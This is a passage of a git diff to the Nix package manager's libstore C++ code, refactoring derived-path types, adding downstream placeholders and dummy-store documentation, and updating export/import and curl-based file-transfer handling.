DerivedPath::getBaseStorePath() const +{ + return getBaseStorePath_(*this); +} + } diff --git a/src/libstore/derived-path.hh b/src/libstore/derived-path.hh index 706e5dcb4..4ba3fb37d 100644 --- a/src/libstore/derived-path.hh +++ b/src/libstore/derived-path.hh @@ -1,15 +1,20 @@ #pragma once +///@file -#include "util.hh" #include "path.hh" -#include "realisation.hh" +#include "outputs-spec.hh" +#include "config.hh" +#include "ref.hh" -#include +#include #include namespace nix { +struct StoreDirConfig; + +// TODO stop needing this, `toJSON` below should be pure class Store; /** @@ -22,16 +27,140 @@ class Store; struct DerivedPathOpaque { StorePath path; - nlohmann::json toJSON(ref store) const; - std::string to_string(const Store & store) const; - static DerivedPathOpaque parse(const Store & store, std::string_view); + std::string to_string(const StoreDirConfig & store) const; + static DerivedPathOpaque parse(const StoreDirConfig & store, std::string_view); + nlohmann::json toJSON(const StoreDirConfig & store) const; - bool operator < (const DerivedPathOpaque & b) const - { return path < b.path; } + bool operator == (const DerivedPathOpaque &) const = default; + auto operator <=> (const DerivedPathOpaque &) const = default; }; +struct SingleDerivedPath; + /** - * A derived path that is built from a derivation + * A single derived path that is built from a derivation + * + * Built derived paths are pair of a derivation and an output name. They are + * evaluated by building the derivation, and then taking the resulting output + * path of the given output name. + */ +struct SingleDerivedPathBuilt { + ref drvPath; + OutputName output; + + /** + * Get the store path this is ultimately derived from (by realising + * and projecting outputs). + * + * Note that this is *not* a property of the store object being + * referred to, but just of this path --- how we happened to be + * referring to that store object. In other words, this means this + * function breaks "referential transparency". It should therefore + * be used only with great care. + */ + const StorePath & getBaseStorePath() const; + + /** + * Uses `^` as the separator + */ + std::string to_string(const StoreDirConfig & store) const; + /** + * Uses `!` as the separator + */ + std::string to_string_legacy(const StoreDirConfig & store) const; + /** + * The caller splits on the separator, so it works for both variants. + * + * @param xpSettings Stop-gap to avoid globals during unit tests. + */ + static SingleDerivedPathBuilt parse( + const StoreDirConfig & store, ref drvPath, + OutputNameView outputs, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); + nlohmann::json toJSON(Store & store) const; + + bool operator == (const SingleDerivedPathBuilt &) const noexcept; + std::strong_ordering operator <=> (const SingleDerivedPathBuilt &) const noexcept; +}; + +using _SingleDerivedPathRaw = std::variant< + DerivedPathOpaque, + SingleDerivedPathBuilt +>; + +/** + * A "derived path" is a very simple sort of expression (not a Nix + * language expression! But an expression in a the general sense) that + * evaluates to (concrete) store path. It is either: + * + * - opaque, in which case it is just a concrete store path with + * possibly no known derivation + * + * - built, in which case it is a pair of a derivation path and an + * output name. + */ +struct SingleDerivedPath : _SingleDerivedPathRaw { + using Raw = _SingleDerivedPathRaw; + using Raw::Raw; + + using Opaque = DerivedPathOpaque; + using Built = SingleDerivedPathBuilt; + + inline const Raw & raw() const { + return static_cast(*this); + } + + bool operator == (const SingleDerivedPath &) const = default; + auto operator <=> (const SingleDerivedPath &) const = default; + + /** + * Get the store path this is ultimately derived from (by realising + * and projecting outputs). + * + * Note that this is *not* a property of the store object being + * referred to, but just of this path --- how we happened to be + * referring to that store object. In other words, this means this + * function breaks "referential transparency". It should therefore + * be used only with great care. + */ + const StorePath & getBaseStorePath() const; + + /** + * Uses `^` as the separator + */ + std::string to_string(const StoreDirConfig & store) const; + /** + * Uses `!` as the separator + */ + std::string to_string_legacy(const StoreDirConfig & store) const; + /** + * Uses `^` as the separator + * + * @param xpSettings Stop-gap to avoid globals during unit tests. + */ + static SingleDerivedPath parse( + const StoreDirConfig & store, + std::string_view, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); + /** + * Uses `!` as the separator + * + * @param xpSettings Stop-gap to avoid globals during unit tests. + */ + static SingleDerivedPath parseLegacy( + const StoreDirConfig & store, + std::string_view, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); + nlohmann::json toJSON(Store & store) const; +}; + +static inline ref makeConstantStorePathRef(StorePath drvPath) +{ + return make_ref(SingleDerivedPath::Opaque { drvPath }); +} + +/** + * A set of derived paths that are built from a derivation * * Built derived paths are pair of a derivation and some output names. * They are evaluated by building the derivation, and then replacing the @@ -43,15 +172,43 @@ struct DerivedPathOpaque { * output name. */ struct DerivedPathBuilt { - StorePath drvPath; - std::set outputs; + ref drvPath; + OutputsSpec outputs; - std::string to_string(const Store & store) const; - static DerivedPathBuilt parse(const Store & store, std::string_view, std::string_view); - nlohmann::json toJSON(ref store) const; + /** + * Get the store path this is ultimately derived from (by realising + * and projecting outputs). + * + * Note that this is *not* a property of the store object being + * referred to, but just of this path --- how we happened to be + * referring to that store object. In other words, this means this + * function breaks "referential transparency". It should therefore + * be used only with great care. + */ + const StorePath & getBaseStorePath() const; - bool operator < (const DerivedPathBuilt & b) const - { return std::make_pair(drvPath, outputs) < std::make_pair(b.drvPath, b.outputs); } + /** + * Uses `^` as the separator + */ + std::string to_string(const StoreDirConfig & store) const; + /** + * Uses `!` as the separator + */ + std::string to_string_legacy(const StoreDirConfig & store) const; + /** + * The caller splits on the separator, so it works for both variants. + * + * @param xpSettings Stop-gap to avoid globals during unit tests. + */ + static DerivedPathBuilt parse( + const StoreDirConfig & store, ref, + std::string_view, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); + nlohmann::json toJSON(Store & store) const; + + bool operator == (const DerivedPathBuilt &) const noexcept; + // TODO libc++ 16 (used by darwin) missing `std::set::operator <=>`, can't do yet. + bool operator < (const DerivedPathBuilt &) const noexcept; }; using _DerivedPathRaw = std::variant< @@ -61,13 +218,13 @@ using _DerivedPathRaw = std::variant< /** * A "derived path" is a very simple sort of expression that evaluates - * to (concrete) store path. It is either: + * to one or more (concrete) store paths. It is either: * - * - opaque, in which case it is just a concrete store path with + * - opaque, in which case it is just a single concrete store path with * possibly no known derivation * - * - built, in which case it is a pair of a derivation path and an - * output name. + * - built, in which case it is a pair of a derivation path and some + * output names. */ struct DerivedPath : _DerivedPathRaw { using Raw = _DerivedPathRaw; @@ -80,49 +237,69 @@ struct DerivedPath : _DerivedPathRaw { return static_cast(*this); } - std::string to_string(const Store & store) const; - static DerivedPath parse(const Store & store, std::string_view); -}; + bool operator == (const DerivedPath &) const = default; + // TODO libc++ 16 (used by darwin) missing `std::set::operator <=>`, can't do yet. + //auto operator <=> (const DerivedPath &) const = default; -/** - * A built derived path with hints in the form of optional concrete output paths. - * - * See 'BuiltPath' for more an explanation. - */ -struct BuiltPathBuilt { - StorePath drvPath; - std::map outputs; + /** + * Get the store path this is ultimately derived from (by realising + * and projecting outputs). + * + * Note that this is *not* a property of the store object being + * referred to, but just of this path --- how we happened to be + * referring to that store object. In other words, this means this + * function breaks "referential transparency". It should therefore + * be used only with great care. + */ + const StorePath & getBaseStorePath() const; - nlohmann::json toJSON(ref store) const; - static BuiltPathBuilt parse(const Store & store, std::string_view); -}; + /** + * Uses `^` as the separator + */ + std::string to_string(const StoreDirConfig & store) const; + /** + * Uses `!` as the separator + */ + std::string to_string_legacy(const StoreDirConfig & store) const; + /** + * Uses `^` as the separator + * + * @param xpSettings Stop-gap to avoid globals during unit tests. + */ + static DerivedPath parse( + const StoreDirConfig & store, + std::string_view, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); + /** + * Uses `!` as the separator + * + * @param xpSettings Stop-gap to avoid globals during unit tests. + */ + static DerivedPath parseLegacy( + const StoreDirConfig & store, + std::string_view, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); -using _BuiltPathRaw = std::variant< - DerivedPath::Opaque, - BuiltPathBuilt ->; - -/** - * A built path. Similar to a `DerivedPath`, but enriched with the corresponding - * output path(s). - */ -struct BuiltPath : _BuiltPathRaw { - using Raw = _BuiltPathRaw; - using Raw::Raw; - - using Opaque = DerivedPathOpaque; - using Built = BuiltPathBuilt; - - inline const Raw & raw() const { - return static_cast(*this); - } - - StorePathSet outPaths() const; - RealisedPath::Set toRealisedPaths(Store & store) const; + /** + * Convert a `SingleDerivedPath` to a `DerivedPath`. + */ + static DerivedPath fromSingle(const SingleDerivedPath &); + nlohmann::json toJSON(Store & store) const; }; typedef std::vector DerivedPaths; -typedef std::vector BuiltPaths; +/** + * Used by various parser functions to require experimental features as + * needed. + * + * Somewhat unfortunate this cannot just be an implementation detail for + * this module. + * + * @param xpSettings Stop-gap to avoid globals during unit tests. + */ +void drvRequireExperiment( + const SingleDerivedPath & drv, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); } diff --git a/src/libstore/downstream-placeholder.cc b/src/libstore/downstream-placeholder.cc new file mode 100644 index 000000000..91d47f946 --- /dev/null +++ b/src/libstore/downstream-placeholder.cc @@ -0,0 +1,58 @@ +#include "downstream-placeholder.hh" +#include "derivations.hh" + +namespace nix { + +std::string DownstreamPlaceholder::render() const +{ + return "/" + hash.to_string(HashFormat::Nix32, false); +} + + +DownstreamPlaceholder DownstreamPlaceholder::unknownCaOutput( + const StorePath & drvPath, + OutputNameView outputName, + const ExperimentalFeatureSettings & xpSettings) +{ + xpSettings.require(Xp::CaDerivations); + auto drvNameWithExtension = drvPath.name(); + auto drvName = drvNameWithExtension.substr(0, drvNameWithExtension.size() - 4); + auto clearText = "nix-upstream-output:" + std::string { drvPath.hashPart() } + ":" + outputPathName(drvName, outputName); + return DownstreamPlaceholder { + hashString(HashAlgorithm::SHA256, clearText) + }; +} + +DownstreamPlaceholder DownstreamPlaceholder::unknownDerivation( + const DownstreamPlaceholder & placeholder, + OutputNameView outputName, + const ExperimentalFeatureSettings & xpSettings) +{ + xpSettings.require(Xp::DynamicDerivations); + auto compressed = compressHash(placeholder.hash, 20); + auto clearText = "nix-computed-output:" + + compressed.to_string(HashFormat::Nix32, false) + + ":" + std::string { outputName }; + return DownstreamPlaceholder { + hashString(HashAlgorithm::SHA256, clearText) + }; +} + +DownstreamPlaceholder DownstreamPlaceholder::fromSingleDerivedPathBuilt( + const SingleDerivedPath::Built & b, + const ExperimentalFeatureSettings & xpSettings) +{ + return std::visit(overloaded { + [&](const SingleDerivedPath::Opaque & o) { + return DownstreamPlaceholder::unknownCaOutput(o.path, b.output, xpSettings); + }, + [&](const SingleDerivedPath::Built & b2) { + return DownstreamPlaceholder::unknownDerivation( + DownstreamPlaceholder::fromSingleDerivedPathBuilt(b2, xpSettings), + b.output, + xpSettings); + }, + }, b.drvPath->raw()); +} + +} diff --git a/src/libstore/downstream-placeholder.hh b/src/libstore/downstream-placeholder.hh new file mode 100644 index 000000000..c911ecea2 --- /dev/null +++ b/src/libstore/downstream-placeholder.hh @@ -0,0 +1,91 @@ +#pragma once +///@file + +#include "hash.hh" +#include "path.hh" +#include "derived-path.hh" + +namespace nix { + +/** + * Downstream Placeholders are opaque and almost certainly unique values + * used to allow derivations to refer to store objects which are yet to + * be built and for we do not yet have store paths for. + * + * They correspond to `DerivedPaths` that are not `DerivedPath::Opaque`, + * except for the cases involving input addressing or fixed outputs + * where we do know a store path for the derivation output in advance. + * + * Unlike `DerivationPath`, however, `DownstreamPlaceholder` is + * purposefully opaque and obfuscated. This is so they are hard to + * create by accident, and so substituting them (once we know what the + * path to store object is) is unlikely to capture other stuff it + * shouldn't. + * + * We use them with `Derivation`: the `render()` method is called to + * render an opaque string which can be used in the derivation, and the + * resolving logic can substitute those strings for store paths when + * resolving `Derivation.inputDrvs` to `BasicDerivation.inputSrcs`. + */ +class DownstreamPlaceholder +{ + /** + * `DownstreamPlaceholder` is just a newtype of `Hash`. + * This its only field. + */ + Hash hash; + + /** + * Newtype constructor + */ + DownstreamPlaceholder(Hash hash) : hash(hash) { } + +public: + /** + * This creates an opaque and almost certainly unique string + * deterministically from the placeholder. + */ + std::string render() const; + + /** + * Create a placeholder for an unknown output of a content-addressed + * derivation. + * + * The derivation itself is known (we have a store path for it), but + * the output doesn't yet have a known store path. + * + * @param xpSettings Stop-gap to avoid globals during unit tests. + */ + static DownstreamPlaceholder unknownCaOutput( + const StorePath & drvPath, + OutputNameView outputName, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); + + /** + * Create a placehold for the output of an unknown derivation. + * + * The derivation is not yet known because it is a dynamic + * derivaiton --- it is itself an output of another derivation --- + * and we just have (another) placeholder for it. + * + * @param xpSettings Stop-gap to avoid globals during unit tests. + */ + static DownstreamPlaceholder unknownDerivation( + const DownstreamPlaceholder & drvPlaceholder, + OutputNameView outputName, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); + + /** + * Convenience constructor that handles both cases (unknown + * content-addressed output and unknown derivation), delegating as + * needed to `unknownCaOutput` and `unknownDerivation`. + * + * Recursively builds up a placeholder from a + * `SingleDerivedPath::Built.drvPath` chain. + */ + static DownstreamPlaceholder fromSingleDerivedPathBuilt( + const SingleDerivedPath::Built & built, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); +}; + +} diff --git a/src/libstore/dummy-store.cc b/src/libstore/dummy-store.cc index b4fbe0b70..c1e871e93 100644 --- a/src/libstore/dummy-store.cc +++ b/src/libstore/dummy-store.cc @@ -6,19 +6,37 @@ namespace nix { struct DummyStoreConfig : virtual StoreConfig { using StoreConfig::StoreConfig; + DummyStoreConfig(std::string_view scheme, std::string_view authority, const Params & params) + : StoreConfig(params) + { + if (!authority.empty()) + throw UsageError("`%s` store URIs must not contain an authority part %s", scheme, authority); + } + const std::string name() override { return "Dummy Store"; } + + std::string doc() override + { + return + #include "dummy-store.md" + ; + } + + static std::set uriSchemes() { + return {"dummy"}; + } }; struct DummyStore : public virtual DummyStoreConfig, public virtual Store { - DummyStore(const std::string scheme, const std::string uri, const Params & params) - : DummyStore(params) + DummyStore(std::string_view scheme, std::string_view authority, const Params & params) + : StoreConfig(params) + , DummyStoreConfig(scheme, authority, params) + , Store(params) { } DummyStore(const Params & params) - : StoreConfig(params) - , DummyStoreConfig(params) - , Store(params) + : DummyStore("dummy", "", params) { } std::string getUri() override @@ -32,8 +50,12 @@ struct DummyStore : public virtual DummyStoreConfig, public virtual Store callback(nullptr); } - static std::set uriSchemes() { - return {"dummy"}; + /** + * The dummy store is incapable of *not* trusting! :) + */ + virtual std::optional isTrustedClient() override + { + return Trusted; } std::optional queryPathFromHashPart(const std::string & hashPart) override @@ -43,12 +65,15 @@ struct DummyStore : public virtual DummyStoreConfig, public virtual Store RepairFlag repair, CheckSigsFlag checkSigs) override { unsupported("addToStore"); } - StorePath addTextToStore( + virtual StorePath addToStoreFromDump( + Source & dump, std::string_view name, - std::string_view s, - const StorePathSet & references, - RepairFlag repair) override - { unsupported("addTextToStore"); } + FileSerialisationMethod dumpMethod = FileSerialisationMethod::NixArchive, + ContentAddressMethod hashMethod = FileIngestionMethod::NixArchive, + HashAlgorithm hashAlgo = HashAlgorithm::SHA256, + const StorePathSet & references = StorePathSet(), + RepairFlag repair = NoRepair) override + { unsupported("addToStore"); } void narFromPath(const StorePath & path, Sink & sink) override { unsupported("narFromPath"); } @@ -56,6 +81,9 @@ struct DummyStore : public virtual DummyStoreConfig, public virtual Store void queryRealisationUncached(const DrvOutput &, Callback> callback) noexcept override { callback(nullptr); } + + virtual ref getFSAccessor(bool requireValidPath) override + { unsupported("getFSAccessor"); } }; static RegisterStoreImplementation regDummyStore; diff --git a/src/libstore/dummy-store.md b/src/libstore/dummy-store.md new file mode 100644 index 000000000..eb7b4ba0d --- /dev/null +++ b/src/libstore/dummy-store.md @@ -0,0 +1,13 @@ +R"( + +**Store URL format**: `dummy://` + +This store type represents a store that contains no store paths and +cannot be written to. It's useful when you want to use the Nix +evaluator when no actual Nix store exists, e.g. + +```console +# nix eval --store dummy:// --expr '1 + 2' +``` + +)" diff --git a/src/libstore/export-import.cc b/src/libstore/export-import.cc index 9875da909..cb36c0c1b 100644 --- a/src/libstore/export-import.cc +++ b/src/libstore/export-import.cc @@ -1,7 +1,8 @@ #include "serialise.hh" #include "store-api.hh" #include "archive.hh" -#include "worker-protocol.hh" +#include "common-protocol.hh" +#include "common-protocol-impl.hh" #include @@ -16,7 +17,7 @@ void Store::exportPaths(const StorePathSet & paths, Sink & sink) //logger->incExpected(doneLabel, sorted.size()); for (auto & path : sorted) { - //Activity act(*logger, lvlInfo, format("exporting path '%s'") % path); + //Activity act(*logger, lvlInfo, "exporting path '%s'", path); sink << 1; exportPath(path, sink); //logger->incProgress(doneLabel); @@ -29,7 +30,7 @@ void Store::exportPath(const StorePath & path, Sink & sink) { auto info = queryPathInfo(path); - HashSink hashSink(htSHA256); + HashSink hashSink(HashAlgorithm::SHA256); TeeSink teeSink(sink, hashSink); narFromPath(path, teeSink); @@ -38,14 +39,16 @@ void Store::exportPath(const StorePath & path, Sink & sink) filesystem corruption from spreading to other machines. Don't complain if the stored hash is zero (unknown). */ Hash hash = hashSink.currentHash().first; - if (hash != info->narHash && info->narHash != Hash(info->narHash.type)) + if (hash != info->narHash && info->narHash != Hash(info->narHash.algo)) throw Error("hash of path '%s' has changed from '%s' to '%s'!", - printStorePath(path), info->narHash.to_string(Base32, true), hash.to_string(Base32, true)); + printStorePath(path), info->narHash.to_string(HashFormat::Nix32, true), hash.to_string(HashFormat::Nix32, true)); teeSink << exportMagic << printStorePath(path); - worker_proto::write(*this, teeSink, info->references); + CommonProto::write(*this, + CommonProto::WriteConn { .to = teeSink }, + info->references); teeSink << (info->deriver ? printStorePath(*info->deriver) : "") << 0; @@ -62,7 +65,7 @@ StorePaths Store::importPaths(Source & source, CheckSigsFlag checkSigs) /* Extract the NAR from the source. */ StringSink saved; TeeSource tee { source, saved }; - ParseSink ether; + NullFileSystemObjectSink ether; parseDump(ether, tee); uint32_t magic = readInt(source); @@ -71,11 +74,12 @@ StorePaths Store::importPaths(Source & source, CheckSigsFlag checkSigs) auto path = parseStorePath(readString(source)); - //Activity act(*logger, lvlInfo, format("importing path '%s'") % info.path); + //Activity act(*logger, lvlInfo, "importing path '%s'", info.path); - auto references = worker_proto::read(*this, source, Phantom {}); + auto references = CommonProto::Serialise::read(*this, + CommonProto::ReadConn { .from = source }); auto deriver = readString(source); - auto narHash = hashString(htSHA256, saved.s); + auto narHash = hashString(HashAlgorithm::SHA256, saved.s); ValidPathInfo info { path, narHash }; if (deriver != "") diff --git a/src/libstore/filetransfer.cc b/src/libstore/filetransfer.cc index 756bd4423..58c52acc0 100644 --- a/src/libstore/filetransfer.cc +++ b/src/libstore/filetransfer.cc @@ -1,16 +1,21 @@ #include "filetransfer.hh" -#include "util.hh" #include "globals.hh" +#include "config-global.hh" #include "store-api.hh" #include "s3.hh" #include "compression.hh" #include "finally.hh" #include "callback.hh" +#include "signals.hh" #if ENABLE_S3 #include #endif +#if __linux__ +# include "namespaces.hh" +#endif + #include #include @@ -49,6 +54,8 @@ struct curlFileTransfer : public FileTransfer bool done = false; // whether either the success or failure function has been called Callback callback; CURL * req = 0; + // buffer to accompany the `req` above + char errbuf[CURL_ERROR_SIZE]; bool active = false; // whether the handle has been added to the multi object std::string statusMsg; @@ -66,7 +73,10 @@ struct curlFileTransfer : public FileTransfer curl_off_t writtenToSink = 0; + std::chrono::steady_clock::time_point startTime = std::chrono::steady_clock::now(); + inline static const std::set successfulStatuses {200, 201, 204, 206, 304, 0 /* other protocol */}; + /* Get the HTTP status code, or 0 for other protocols. */ long getHTTPStatus() { @@ -88,6 +98,10 @@ struct curlFileTransfer : public FileTransfer {request.uri}, request.parentAct) , callback(std::move(callback)) , finalSink([this](std::string_view data) { + if (errorSink) { + (*errorSink)(data); + } + if (this->request.dataCallback) { auto httpStatus = getHTTPStatus(); @@ -101,6 +115,9 @@ struct curlFileTransfer : public FileTransfer this->result.data.append(data); }) { + result.urls.push_back(request.uri); + + requestHeaders = curl_slist_append(requestHeaders, "Accept-Encoding: zstd, br, gzip, deflate, bzip2, xz"); if (!request.expectedETag.empty()) requestHeaders = curl_slist_append(requestHeaders, ("If-None-Match: " + request.expectedETag).c_str()); if (!request.mimeType.empty()) @@ -162,8 +179,6 @@ struct curlFileTransfer : public FileTransfer } } - if (errorSink) - (*errorSink)({(char *) contents, realSize}); (*decompressionSink)({(char *) contents, realSize}); return realSize; @@ -178,24 +193,35 @@ struct curlFileTransfer : public FileTransfer return ((TransferItem *) userp)->writeCallback(contents, size, nmemb); } + void appendCurrentUrl() + { + char * effectiveUriCStr = nullptr; + curl_easy_getinfo(req, CURLINFO_EFFECTIVE_URL, &effectiveUriCStr); + if (effectiveUriCStr && *result.urls.rbegin() != effectiveUriCStr) + result.urls.push_back(effectiveUriCStr); + } + size_t headerCallback(void * contents, size_t size, size_t nmemb) { size_t realSize = size * nmemb; std::string line((char *) contents, realSize); - printMsg(lvlVomit, format("got header for '%s': %s") % request.uri % trim(line)); + printMsg(lvlVomit, "got header for '%s': %s", request.uri, trim(line)); + static std::regex statusLine("HTTP/[^ ]+ +[0-9]+(.*)", std::regex::extended | std::regex::icase); - std::smatch match; - if (std::regex_match(line, match, statusLine)) { + if (std::smatch match; std::regex_match(line, match, statusLine)) { result.etag = ""; result.data.clear(); result.bodySize = 0; statusMsg = trim(match.str(1)); acceptRanges = false; encoding = ""; + appendCurrentUrl(); } else { + auto i = line.find(':'); if (i != std::string::npos) { std::string name = toLower(trim(line.substr(0, i))); + if (name == "etag") { result.etag = trim(line.substr(i + 1)); /* Hack to work around a GitHub bug: it sends @@ -206,13 +232,25 @@ struct curlFileTransfer : public FileTransfer long httpStatus = 0; curl_easy_getinfo(req, CURLINFO_RESPONSE_CODE, &httpStatus); if (result.etag == request.expectedETag && httpStatus == 200) { - debug(format("shutting down on 200 HTTP response with expected ETag")); + debug("shutting down on 200 HTTP response with expected ETag"); return 0; } - } else if (name == "content-encoding") + } + + else if (name == "content-encoding") encoding = trim(line.substr(i + 1)); + else if (name == "accept-ranges" && toLower(trim(line.substr(i + 1))) == "bytes") acceptRanges = true; + + else if (name == "link" || name == "x-amz-meta-link") { + auto value = trim(line.substr(i + 1)); + static std::regex linkRegex("<([^>]*)>; rel=\"immutable\"", std::regex::extended | std::regex::icase); + if (std::smatch match; std::regex_match(value, match, linkRegex)) + result.immutableUrl = match.str(1); + else + debug("got invalid link header '%s'", value); + } } } return realSize; @@ -226,11 +264,11 @@ struct curlFileTransfer : public FileTransfer int progressCallback(double dltotal, double dlnow) { try { - act.progress(dlnow, dltotal); + act.progress(dlnow, dltotal); } catch (nix::Interrupted &) { - assert(_isInterrupted); + assert(getInterrupted()); } - return _isInterrupted; + return getInterrupted(); } static int progressCallbackWrapper(void * userp, double dltotal, double dlnow, double ultotal, double ulnow) @@ -315,7 +353,7 @@ struct curlFileTransfer : public FileTransfer if (request.verifyTLS) { if (settings.caFile != "") - curl_easy_setopt(req, CURLOPT_CAINFO, settings.caFile.c_str()); + curl_easy_setopt(req, CURLOPT_CAINFO, settings.caFile.get().c_str()); } else { curl_easy_setopt(req, CURLOPT_SSL_VERIFYPEER, 0); curl_easy_setopt(req, CURLOPT_SSL_VERIFYHOST, 0); @@ -334,21 +372,25 @@ struct curlFileTransfer : public FileTransfer if (writtenToSink) curl_easy_setopt(req, CURLOPT_RESUME_FROM_LARGE, writtenToSink); + curl_easy_setopt(req, CURLOPT_ERRORBUFFER, errbuf); + errbuf[0] = 0; + result.data.clear(); result.bodySize = 0; } void finish(CURLcode code) { + auto finishTime = std::chrono::steady_clock::now(); + auto httpStatus = getHTTPStatus(); - char * effectiveUriCStr; - curl_easy_getinfo(req, CURLINFO_EFFECTIVE_URL, &effectiveUriCStr); - if (effectiveUriCStr) - result.effectiveUri = effectiveUriCStr; + debug("finished %s of '%s'; curl status = %d, HTTP status = %d, body = %d bytes, duration = %.2f s", + request.verb(), request.uri, code, httpStatus, result.bodySize, + std::chrono::duration_cast(finishTime - startTime).count() / 1000.0f + ); - debug("finished %s of '%s'; curl status = %d, HTTP status = %d, body = %d bytes", - request.verb(), request.uri, code, httpStatus, result.bodySize); + appendCurrentUrl(); if (decompressionSink) { try { @@ -404,6 +446,10 @@ struct curlFileTransfer : public FileTransfer err = Misc; } else { // Don't bother retrying on certain cURL errors either + + // Allow selecting a subset of enum values + #pragma GCC diagnostic push + #pragma GCC diagnostic ignored "-Wswitch-enum" switch (code) { case CURLE_FAILED_INIT: case CURLE_URL_MALFORMAT: @@ -424,6 +470,7 @@ struct curlFileTransfer : public FileTransfer default: // Shut up warnings break; } + #pragma GCC diagnostic pop } attempt++; @@ -432,7 +479,7 @@ struct curlFileTransfer : public FileTransfer if (errorSink) response = std::move(errorSink->s); auto exc = - code == CURLE_ABORTED_BY_CALLBACK && _isInterrupted + code == CURLE_ABORTED_BY_CALLBACK && getInterrupted() ? FileTransferError(Interrupted, std::move(response), "%s of '%s' was interrupted", request.verb(), request.uri) : httpStatus != 0 ? FileTransferError(err, @@ -442,8 +489,8 @@ struct curlFileTransfer : public FileTransfer code == CURLE_OK ? "" : fmt(" (curl error: %s)", curl_easy_strerror(code))) : FileTransferError(err, std::move(response), - "unable to %s '%s': %s (%d)", - request.verb(), request.uri, curl_easy_strerror(code), code); + "unable to %s '%s': %s (%d) %s", + request.verb(), request.uri, curl_easy_strerror(code), code, errbuf); /* If this is a transient error, then maybe retry the download after a while. If we're writing to a @@ -482,10 +529,12 @@ struct curlFileTransfer : public FileTransfer Sync state_; + #ifndef _WIN32 // TODO need graceful async exit support on Windows? /* We can't use a std::condition_variable to wake up the curl thread, because it only monitors file descriptors. So use a pipe instead. */ Pipe wakeupPipe; + #endif std::thread workerThread; @@ -505,8 +554,10 @@ struct curlFileTransfer : public FileTransfer fileTransferSettings.httpConnections.get()); #endif + #ifndef _WIN32 // TODO need graceful async exit support on Windows? wakeupPipe.create(); fcntl(wakeupPipe.readSide.get(), F_SETFL, O_NONBLOCK); + #endif workerThread = std::thread([&]() { workerThreadEntry(); }); } @@ -527,17 +578,28 @@ struct curlFileTransfer : public FileTransfer auto state(state_.lock()); state->quit = true; } + #ifndef _WIN32 // TODO need graceful async exit support on Windows? writeFull(wakeupPipe.writeSide.get(), " ", false); + #endif } void workerThreadMain() { /* Cause this thread to be notified on SIGINT. */ + #ifndef _WIN32 // TODO need graceful async exit support on Windows? auto callback = createInterruptCallback([&]() { stopWorkerThread(); }); + #endif - unshareFilesystem(); + #if __linux__ + try { + tryUnshareFilesystem(); + } catch (nix::Error & e) { + e.addTrace({}, "in download thread"); + throw; + } + #endif std::map> items; @@ -571,9 +633,11 @@ struct curlFileTransfer : public FileTransfer /* Wait for activity, including wakeup events. */ int numfds = 0; struct curl_waitfd extraFDs[1]; + #ifndef _WIN32 // TODO need graceful async exit support on Windows? extraFDs[0].fd = wakeupPipe.readSide.get(); extraFDs[0].events = CURL_WAIT_POLLIN; extraFDs[0].revents = 0; + #endif long maxSleepTimeMs = items.empty() ? 10000 : 100; auto sleepTimeMs = nextWakeup != std::chrono::steady_clock::time_point() @@ -657,7 +721,9 @@ struct curlFileTransfer : public FileTransfer throw nix::Error("cannot enqueue download request because the download thread is shutting down"); state->incoming.push(item); } + #ifndef _WIN32 // TODO need graceful async exit support on Windows? writeFull(wakeupPipe.writeSide.get(), " "); + #endif } #if ENABLE_S3 @@ -756,7 +822,10 @@ FileTransferResult FileTransfer::upload(const FileTransferRequest & request) return enqueueFileTransfer(request).get(); } -void FileTransfer::download(FileTransferRequest && request, Sink & sink) +void FileTransfer::download( + FileTransferRequest && request, + Sink & sink, + std::function resultCallback) { /* Note: we can't call 'sink' via request.dataCallback, because that would cause the sink to execute on the fileTransfer @@ -794,8 +863,10 @@ void FileTransfer::download(FileTransferRequest && request, Sink & sink) buffer). We don't wait forever to prevent stalling the download thread. (Hopefully sleeping will throttle the sender.) */ - if (state->data.size() > 1024 * 1024) { + if (state->data.size() > fileTransferSettings.downloadBufferSize) { debug("download buffer is full; going to sleep"); + static bool haveWarned = false; + warnOnce(haveWarned, "download buffer is full; consider increasing the 'download-buffer-size' setting"); state.wait_for(state->request, std::chrono::seconds(10)); } @@ -806,11 +877,13 @@ void FileTransfer::download(FileTransferRequest && request, Sink & sink) }; enqueueFileTransfer(request, - {[_state](std::future fut) { + {[_state, resultCallback{std::move(resultCallback)}](std::future fut) { auto state(_state->lock()); state->quit = true; try { - fut.get(); + auto res = fut.get(); + if (resultCallback) + resultCallback(std::move(res)); } catch (...) { state->exc = std::current_exception(); } @@ -828,7 +901,7 @@ void FileTransfer::download(FileTransferRequest && request, Sink & sink) { auto state(_state->lock()); - while (state->data.empty()) { + if (state->data.empty()) { if (state->quit) { if (state->exc) std::rethrow_exception(state->exc); @@ -836,9 +909,13 @@ void FileTransfer::download(FileTransferRequest && request, Sink & sink) } state.wait(state->avail); + + if (state->data.empty()) continue; } chunk = std::move(state->data); + /* Reset state->data after the move, since we check data.empty() */ + state->data = ""; state->request.notify_one(); } @@ -855,12 +932,12 @@ template FileTransferError::FileTransferError(FileTransfer::Error error, std::optional response, const Args & ... args) : Error(args...), error(error), response(response) { - const auto hf = hintfmt(args...); + const auto hf = HintFmt(args...); // FIXME: Due to https://github.com/NixOS/nix/issues/3841 we don't know how // to print different messages for different verbosity levels. For now // we add some heuristics for detecting when we want to show the response. if (response && (response->size() < 1024 || response->find("") != std::string::npos)) - err.msg = hintfmt("%1%\n\nresponse body:\n\n%2%", normaltxt(hf.str()), chomp(*response)); + err.msg = HintFmt("%1%\n\nresponse body:\n\n%2%", Uncolored(hf.str()), chomp(*response)); else err.msg = hf; } diff --git a/src/libstore/filetransfer.hh b/src/libstore/filetransfer.hh index 07d58f53a..d836ab2c4 100644 --- a/src/libstore/filetransfer.hh +++ b/src/libstore/filetransfer.hh @@ -1,12 +1,15 @@ #pragma once - -#include "types.hh" -#include "hash.hh" -#include "config.hh" +///@file #include #include +#include "logging.hh" +#include "types.hh" +#include "ref.hh" +#include "config.hh" +#include "serialise.hh" + namespace nix { struct FileTransferSettings : Config @@ -44,6 +47,12 @@ struct 